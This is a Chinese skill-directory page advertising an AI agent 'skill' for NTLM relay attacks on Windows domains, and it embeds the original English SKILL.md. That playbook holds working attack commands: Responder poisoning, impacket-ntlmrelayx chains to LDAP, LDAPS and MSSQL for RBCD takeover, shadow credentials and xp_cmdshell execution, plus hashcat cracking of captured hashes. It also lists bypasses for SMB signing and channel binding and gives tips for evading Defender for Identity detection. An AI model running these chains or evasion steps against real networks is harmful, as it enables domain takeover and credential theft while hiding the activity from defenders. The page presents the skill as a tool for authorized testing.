ad-ntlm-relay
它能做什么
这项技能详细介绍 NTLM 中继,这是一种 Windows 登录弱点:捕获到的登录信息会被转交给另一项服务。适合需要了解域中风险的安全测试人员和审计人员。
适用场景
- ✓当安全测试人员询问已获授权的域中,哪些服务可能受到 NTLM 中继影响时。
- ✓当智能体需要检查工作站上的 SMB 签名是否被关闭时。
- ✓当报告需要用通俗语言说明 NTLM 中继的风险和修复方法时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我们已获授权的网络中哪些机器关闭了 SMB 签名,以便我们知道哪里可能存在 NTLM 中继?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体列出 SMB 签名已关闭的目标机器,比对可能接受中继登录的服务,并报告发现。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
NTLM Relay Deep Dive
You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.
Target selection matrix
| Target protocol | Outcome | Requires |
|---|---|---|
| LDAP / LDAPS to a DC | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |
| SMB to a workstation | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |
| HTTP /certsrv/ (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |
| MSSQL | Database access; xp_cmdshell if linked |
Victim has DB privs |
| IMAP (Exchange) | Mailbox access | Victim has mailbox |
| HTTP /EWS (Exchange) | Mailbox + autodiscover | EWS reachable |
| LDAPS to DC for shadow creds | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |
SMB signing — the key constraint
| Target | Default SMB signing |
|---|---|
| DC | REQUIRED (signing on, must verify) — can't relay SMB to DC |
| Domain workstations | NOT REQUIRED (off by default) — can relay |
| File servers | usually REQUIRED |
| Linux Samba | varies |
Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.
Most useful chains
Coerce → relay to LDAP → RBCD attack
# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover
Coerce → relay to ADCS → DA cert
See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.
Responder → relay to LDAP for Shadow Credentials
sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy
Relay to MSSQL — pivot via xp_cmdshell
sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver
Multi-relay — fan-out one auth to many targets
# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)
When to crack instead of relay
If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):
# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules
Relay is BETTER when:
- You don't have time to crack (operationally bounded engagement)
- The hash is from a service account / computer account (uncrackable)
- The target requires the actual session (e.g., LDAPS, signed SMB)
Crack is BETTER when:
- You want offline persistence (don't need to be on the wire)
- The credentials are reusable across services
- Auth was from a normal user with a weak password
Signing-required mitigations and bypasses
| Defense | Bypass |
|---|---|
| SMB signing required on target | Relay to NON-SMB target (LDAP, HTTP, MSSQL) |
| LDAP channel binding | Relay to LDAPS instead (different binding rules) |
| Extended Protection for Authentication (EPA) | Relay to a service that doesn't enforce EPA (older Exchange, etc.) |
| MS16-075 ("hot potato" SMB→SMB block) | Cross-protocol relay works around it |
OPSEC
- Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
- LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.
- MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.
References
- impacket ntlmrelayx — github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
- dirk
常见问题
什么是 SMB 签名?
它是一项检查文件共享流量完整性的设置。关闭后,一些被中继的登录可能会被接受。
为什么域控制器不能通过 SMB 被中继?
该技能指出,域控制器通常要求 SMB 签名,这样就堵住了这条路径。
该技能是否介绍修复方法?
它提到开启签名和限制中继目标等做法,具体选择哪种修复方式由系统所有者决定。
详情
作者的原始描述
NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).
热度
- GitHub 星标
- 6.5k
- 排名
- #13945
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …